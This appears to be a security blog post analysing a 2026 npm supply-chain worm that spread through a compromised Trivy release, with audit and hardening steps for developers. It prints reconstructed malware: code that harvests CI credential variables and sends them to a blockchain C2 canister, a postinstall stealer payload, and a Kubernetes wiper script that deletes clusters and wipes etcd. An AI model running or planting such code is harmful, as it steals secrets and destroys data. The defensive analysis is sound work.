Skip to main content

CanisterWorm: Inside the Self-Replicating npm Supply Chain Attack of 2026

March 24, 2026

On March 19, 2026, a routine security scan at a mid-size fintech company triggered something unusual. Their Trivy vulnerability scanner — the tool supposed to find threats — was the threat. Within 72 hours, a self-replicating worm had spread across 66 confirmed npm packages, exfiltrated CI/CD secrets from thousands of pipelines, and deployed a destructive wiper payload targeting Kubernetes clusters.

This is the story of CanisterWorm: how it worked, why it was so hard to detect, and what every JavaScript developer needs to do right now.

The Initial Breach: How Trivy Became the Trojan

The TeamPCP Compromise

The attack began not with npm itself, but with the open-source security scanner Trivy. A threat group tracked as TeamPCP (named after their preference for PCP — "Process Control Protocol" — exfiltration channels) compromised a maintainer account on the Trivy GitHub repository.

The timeline:

DateEvent
March 12TeamPCP gains access to a Trivy maintainer's GitHub account via a phished session token
March 14A malicious commit is pushed to a release branch, modifying the npm/yarn lock file parser
March 16Trivy v0.61.1 is released with the backdoor included
March 19First infections detected in the wild
March 21Aqua Security publishes advisory, yanks compromised release
March 22npm security team begins mass-revocation of stolen tokens

The genius of the attack was its entry point. Security scanners run with elevated privileges in CI/CD pipelines. They need access to source code, container images, and often secrets vaults. By compromising the scanner itself, TeamPCP bypassed every layer of defense that scanner was supposed to provide.

The Poisoned Parser

The backdoor was hidden in Trivy's lock file parser — the component that reads package-lock.json and yarn.lock files to check for known vulnerabilities. Here is a simplified version of what the malicious code did:

// Simplified representation of the injected code
// Actual payload was obfuscated across multiple files

async function parseLockfile(lockfilePath) {
  const content = await fs.readFile(lockfilePath, 'utf8');
  const parsed = JSON.parse(content);

  // Legitimate scanning logic still runs (maintaining cover)
  const vulnerabilities = await checkVulnDB(parsed);

  // Malicious addition: harvest environment variables
  const envSnapshot = {};
  for (const [key, value] of Object.entries(process.env)) {
    if (isInteresting(key)) {
      envSnapshot[key] = value;
    }
  }

  // Exfiltrate via ICP canister (more on this below)
  await reportToCanister(envSnapshot, lockfilePath);

  return vulnerabilities; // Normal output returned
}

function isInteresting(key) {
  const targets = [
    'NPM_TOKEN', 'NODE_AUTH_TOKEN', 'GITHUB_TOKEN',
    'AWS_ACCESS_KEY', 'AWS_SECRET_KEY', 'DOCKER_PASSWORD',
    'KUBECONFIG', 'KUBE_TOKEN', 'CI_JOB_TOKEN',
    'ARTIFACTORY_API_KEY', 'SONAR_TOKEN'
  ];
  return targets.some(t => key.toUpperCase().includes(t));
}

The injected code targeted specific environment variables — npm tokens, GitHub tokens, AWS credentials, and Kubernetes configs. It harvested them silently while the scanner continued to function normally, producing legitimate vulnerability reports.

The Worm: Self-Replicating npm Infections

How Propagation Worked

Once TeamPCP had stolen npm publish tokens from CI/CD environments, Phase 2 began: automated package infection.

The worm operated in a loop:

┌─────────────────────────────────────────────────┐
           CanisterWorm Propagation Loop          
├─────────────────────────────────────────────────┤
                                                  
  1. Receive stolen npm token from C2 canister    
                                                 
                                                 
  2. Query npm registry: which packages can       
     this token publish to?                       
                                                 
                                                 
  3. For each package:                            
     a. Download latest version                   
     b. Inject worm payload into postinstall      
     c. Bump patch version                        
     d. Publish infected version                  
                                                 
                                                 
  4. Infected package is installed by             
     downstream users via `npm install`           
                                                 
                                                 
  5. postinstall script runs, harvests tokens     
     from new environment                         
                                                 
                                                 
  6. New tokens sent to C2 canister               
     (back to step 1)                             
                                                  
└─────────────────────────────────────────────────┘

Each infected package became a new vector. Each new CI/CD environment that installed an infected package leaked its tokens, which were used to infect more packages. The growth was exponential.

The Payload Anatomy

The worm injected itself into the postinstall script of targeted packages. Here is what the injected postinstall.js looked like after deobfuscation:

// Deobfuscated CanisterWorm postinstall payload
// Original was heavily obfuscated with multiple encoding layers

const https = require('https');
const { execSync } = require('child_process');
const os = require('os');
const path = require('path');

(async () => {
  try {
    // Fingerprint the environment
    const fingerprint = {
      platform: os.platform(),
      arch: os.arch(),
      user: os.userInfo().username,
      cwd: process.cwd(),
      ci: detectCI(),
      tokens: harvestTokens(),
    };

    // Encode and send to ICP canister
    const encoded = Buffer.from(
      JSON.stringify(fingerprint)
    ).toString('base64');

    await sendToCanister(encoded);

    // If in CI, attempt lateral movement
    if (fingerprint.ci) {
      await attemptPropagation(fingerprint.tokens);
    }
  } catch (e) {
    // Silent failure — never alert the user
  }
})();

function detectCI() {
  const indicators = {
    'GITHUB_ACTIONS': 'github',
    'GITLAB_CI': 'gitlab',
    'CIRCLECI': 'circleci',
    'JENKINS_URL': 'jenkins',
    'TRAVIS': 'travis',
    'BUILDKITE': 'buildkite',
  };

  for (const [env, name] of Object.entries(indicators)) {
    if (process.env[env]) return name;
  }
  return null;
}

The payload was designed to be invisible. It caught and swallowed all errors. It ran asynchronously so it would not block the install process. And the actual obfuscated version used variable-length encoding, string splitting across arrays, and eval chains that made static analysis nearly impossible.

The Dead Drop: Blockchain-Based C2 Infrastructure

Why Traditional C2 Fails

Most malware communicates with command-and-control (C2) servers — typically domains or IP addresses that defenders can block, take down, or monitor. TeamPCP had a different idea.

Traditional C2 infrastructure is fragile:

C2 MethodWeakness
Hardcoded domainsCan be sinkholed or seized
Dynamic DNSProviders cooperate with law enforcement
IP addressesEasily blocked by firewalls
Tor hidden servicesSlow, often blocked in corporate networks
Social media dead dropsPlatforms actively hunt and remove C2 channels

The ICP Canister Technique

CanisterWorm used something novel: Internet Computer Protocol (ICP) canisters as its C2 infrastructure.

ICP canisters are smart contracts running on the Internet Computer blockchain. They are:

  • Immutable once deployed (without the controller key)
  • Censorship-resistant — no single entity can take them down
  • Publicly accessible via standard HTTPS through gateway nodes
  • Cheap to deploy and operate

The worm communicated with canisters deployed on the ICP network. Each canister acted as a dead drop — a mailbox where stolen credentials were deposited and propagation instructions were retrieved.

// Simplified ICP canister code (Motoko/Rust)
// This ran on the Internet Computer blockchain

use ic_cdk::export::candid::{CandidType, Deserialize};
use std::cell::RefCell;
use std::collections::VecDeque;

#[derive(CandidType, Deserialize, Clone)]
struct TokenDrop {
    payload: String,       // Base64-encoded stolen credentials
    timestamp: u64,
    source_hash: String,   // SHA256 of source environment fingerprint
}

thread_local! {
    static DROPS: RefCell<VecDeque<TokenDrop>> = RefCell::new(VecDeque::new());
    static INSTRUCTIONS: RefCell<Vec<String>> = RefCell::new(Vec::new());
}

#[ic_cdk::update]
fn deposit(payload: String, source_hash: String) {
    let drop = TokenDrop {
        payload,
        timestamp: ic_cdk::api::time(),
        source_hash,
    };
    DROPS.with(|d| d.borrow_mut().push_back(drop));
}

#[ic_cdk::query]
fn get_instructions() -> Vec<String> {
    INSTRUCTIONS.with(|i| i.borrow().clone())
}

This made takedown nearly impossible. The DFINITY Foundation (which governs ICP) does not have a rapid-response mechanism for malicious canisters, and the decentralized nature of the network means there is no single server to seize.

Communication Flow

Infected Package                    ICP Canister                    TeamPCP Operator
                                                                        
      │──── POST stolen tokens ─────────▶│                                
                                        │◀──── Read drops ───────────────│
                                                                        
      │◀─── GET propagation list ────────│                                
                                        │──── Update instructions ──────▶│
                                                                        
      │──── Infect next packages ───────▶│ (results reported back)        

The operator periodically read the canister to collect stolen credentials, then updated the canister's instruction set to direct the worm toward new targets. The entire operation was asynchronous and resilient.

The Kamikaze Wiper: Targeting Kubernetes

When Persistence Fails, Destroy

CanisterWorm had a second payload that was only activated in specific conditions: when it detected a Kubernetes environment with cluster-admin privileges. The security community dubbed this the Kamikaze module.

If the worm detected it was about to be discovered (through heuristics like security scanning processes being spawned, or the stolen token being rotated), it would execute a destructive wiper:

#!/bin/bash
# Kamikaze wiper payload (reconstructed from forensic analysis)

# Delete all deployments across all namespaces
kubectl delete deployments --all --all-namespaces --force --grace-period=0

# Delete all statefulsets
kubectl delete statefulsets --all --all-namespaces --force --grace-period=0

# Delete all persistent volume claims
kubectl delete pvc --all --all-namespaces --force --grace-period=0

# Corrupt etcd if accessible
if command -v etcdctl &> /dev/null; then
  etcdctl del "" --prefix
fi

# Delete all secrets
kubectl delete secrets --all --all-namespaces --force --grace-period=0

# Remove the worm's own traces
rm -rf /tmp/.npm-cache-*
unset HISTFILE

At least three companies reported destructive incidents tied to the Kamikaze module, with one losing their entire staging environment. The wiper was indiscriminate — it deleted everything it could reach, including persistent volume claims, meaning data was permanently lost for teams without off-cluster backups.

Why Kubernetes Was the Target

Kubernetes clusters in CI/CD environments often have overly permissive service accounts. The pattern TeamPCP exploited is disturbingly common:

# BAD: Overly permissive CI/CD service account
# This is what CanisterWorm looked for
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: ci-cd-admin
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin    # Full cluster access
subjects:
  - kind: ServiceAccount
    name: ci-cd-runner
    namespace: ci

Compare this with a properly scoped service account:

# GOOD: Least-privilege CI/CD service account
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: ci-cd-deployer
  namespace: staging      # Scoped to one namespace
rules:
  - apiGroups: ["apps"]
    resources: ["deployments"]
    verbs: ["get", "list", "patch", "update"]
  - apiGroups: [""]
    resources: ["configmaps"]
    verbs: ["get", "list"]
    # No delete, no secrets access, no cluster scope

How to Audit Your npm Dependencies Right Now

Step 1: Check for Known Infected Packages

The npm security team and the research community have published a list of confirmed infected packages. Run this to check your project:

# Check if any of your dependencies were compromised
# Updated list maintained at: github.com/nicolo-ribaudo/canisterworm-tracker

npx canisterworm-check

# Or manually check your lock file
npm audit --json | jq '.vulnerabilities | to_entries[] |
  select(.value.via[]?.url? // "" | contains("GHSA-canisterworm"))'

Step 2: Rotate All CI/CD Secrets

If you ran Trivy v0.61.1 in any CI/CD pipeline between March 14 and March 21, assume your secrets are compromised.

# 1. Rotate npm tokens immediately
npm token revoke <token-id>
npm token create

# 2. Rotate GitHub tokens
# Go to Settings > Developer settings > Personal access tokens
# Revoke and regenerate all tokens used in CI

# 3. Check npm access
npm access ls-packages
npm access ls-collaborators <package-name>

# 4. Review recent publishes for your packages
npm view <package-name> time --json | jq 'to_entries | sort_by(.value) | reverse | .[0:5]'

Step 3: Audit postinstall Scripts

The worm hid in postinstall scripts. Audit yours:

# List all packages with install scripts in your project
npm query ':attr(scripts, [postinstall])' | jq '.[].name'

# Or use the more comprehensive approach
npx npm-run-all-scripts --list | grep -E 'preinstall|postinstall|prepare'

Step 4: Enable npm Provenance

npm provenance links published packages to their source code and build environment via Sigstore. It would not have prevented CanisterWorm entirely, but it makes detection much faster:

{
  "scripts": {
    "prepublishOnly": "npm publish --provenance"
  }
}

In your CI/CD workflow:

# GitHub Actions example with provenance
jobs:
  publish:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      id-token: write    # Required for provenance
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: '22'
          registry-url: 'https://registry.npmjs.org'
      - run: npm ci
      - run: npm publish --provenance
        env:
          NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}

Securing Your Publishing Workflow

Use Granular npm Tokens

The old-style npm tokens had full publish access to every package your account owned. Use granular tokens instead:

┌──────────────────────────────────────────────┐
        npm Token Security Hierarchy           
├──────────────────────────────────────────────┤
                                               
   Classic token (full access)               
      Can publish ANY of your packages        
      Can change account settings             
      Single point of compromise              
                                               
   Granular token (scoped access)            
      Limited to specific packages            
      Can restrict to specific IP ranges      
      Can set expiration dates                
      Can limit to specific CIDR blocks       
                                               
   + Automation token with 2FA               
      Requires OTP for publish from CLI       
      Automation tokens bypass for CI only    
      Best balance of security + automation   
                                               
└──────────────────────────────────────────────┘

Implement Publishing Guardrails

Add these checks to your publishing workflow:

// scripts/prepublish-check.js
import { execSync } from 'child_process';
import { readFileSync } from 'fs';

// 1. Verify no unexpected files are included
const packList = execSync('npm pack --dry-run --json', {
  encoding: 'utf8'
});
const files = JSON.parse(packList);
const suspicious = files[0].files.filter(f =>
  f.path.includes('.env') ||
  f.path.includes('credentials') ||
  f.path.endsWith('.key') ||
  f.path.endsWith('.pem')
);

if (suspicious.length > 0) {
  console.error('Suspicious files in package:', suspicious);
  process.exit(1);
}

// 2. Verify postinstall scripts haven't been tampered with
const pkg = JSON.parse(readFileSync('package.json', 'utf8'));
const allowedScripts = ['prepare', 'prepublishOnly'];
const installScripts = ['preinstall', 'install', 'postinstall'];

for (const script of installScripts) {
  if (pkg.scripts?.[script]) {
    console.error(
      `Package has ${script} script: "${pkg.scripts[script]}"`
    );
    console.error('Review carefully before publishing.');
    process.exit(1);
  }
}

// 3. Verify package version hasn't been bumped suspiciously
const currentVersion = execSync(
  `npm view ${pkg.name} version 2>/dev/null || echo "0.0.0"`,
  { encoding: 'utf8' }
).trim();

const semver = await import('semver');
if (semver.diff(currentVersion, pkg.version) === 'major') {
  console.warn('Major version bump detected — confirm this is intentional.');
}

console.log('Pre-publish checks passed.');

Monitor Your Packages

Set up monitoring for unexpected publishes:

# Subscribe to package notifications
npm hook add <package-name> https://your-webhook.example.com/npm-events <secret>

# Or use a monitoring service
npx socket-security audit

Lessons Learned

1. Your Security Tools Are Attack Surface

Trivy, Snyk, Dependabot, npm audit — these tools require deep access to your codebase and CI/CD environment. They are high-value targets for exactly that reason. Treat security tooling with the same scrutiny you apply to production dependencies.

2. Blockchain C2 Is the New Normal

CanisterWorm demonstrated that decentralized infrastructure can be weaponized as resilient C2 channels. Expect to see more malware using Ethereum smart contracts, ICP canisters, IPFS, and Arweave for command-and-control. Your network security tools need to account for this.

3. postinstall Is Still Dangerous

The JavaScript ecosystem's postinstall mechanism remains one of the most dangerous features in any package manager. Consider running installs with --ignore-scripts and explicitly allowing only trusted scripts:

# Install without running any scripts
npm install --ignore-scripts

# Then selectively run only the scripts you trust
npm rebuild node-sass  # Only if you actually need it

4. Supply Chain Depth Matters

Your project might not directly depend on any infected package. But your dependencies have dependencies. The average npm project has 683 transitive dependencies. Any one of them can be compromised.

# See just how deep your dependency tree goes
npm ls --all | wc -l

# Check for dependency depth
npm ls --all --depth=10 | tail -20

5. Rotation Is Not Optional

If you have npm tokens, GitHub tokens, or cloud credentials in CI/CD that have not been rotated since March 14, 2026 — rotate them now. Not tomorrow. Now.

Action Checklist

Here is your immediate action plan:

PriorityActionTime
CriticalRotate all npm tokens used in CI/CD10 min
CriticalCheck if Trivy v0.61.1 was used in any pipeline5 min
CriticalRun npm audit and check for GHSA advisories5 min
HighAudit all postinstall scripts in dependencies30 min
HighSwitch to granular npm tokens with IP restrictions20 min
HighEnable npm provenance for all your packages15 min
MediumImplement --ignore-scripts in CI install steps10 min
MediumSet up package publish monitoring/webhooks20 min
MediumReview Kubernetes RBAC for least-privilege1 hour
LowEvaluate Socket.dev or similar for ongoing monitoring30 min

CanisterWorm is a wake-up call. The npm ecosystem's trust model — where installing a package means running arbitrary code with your credentials — is fundamentally broken. Until that changes, vigilance is your only defense.

Stay safe out there.

Recommended Posts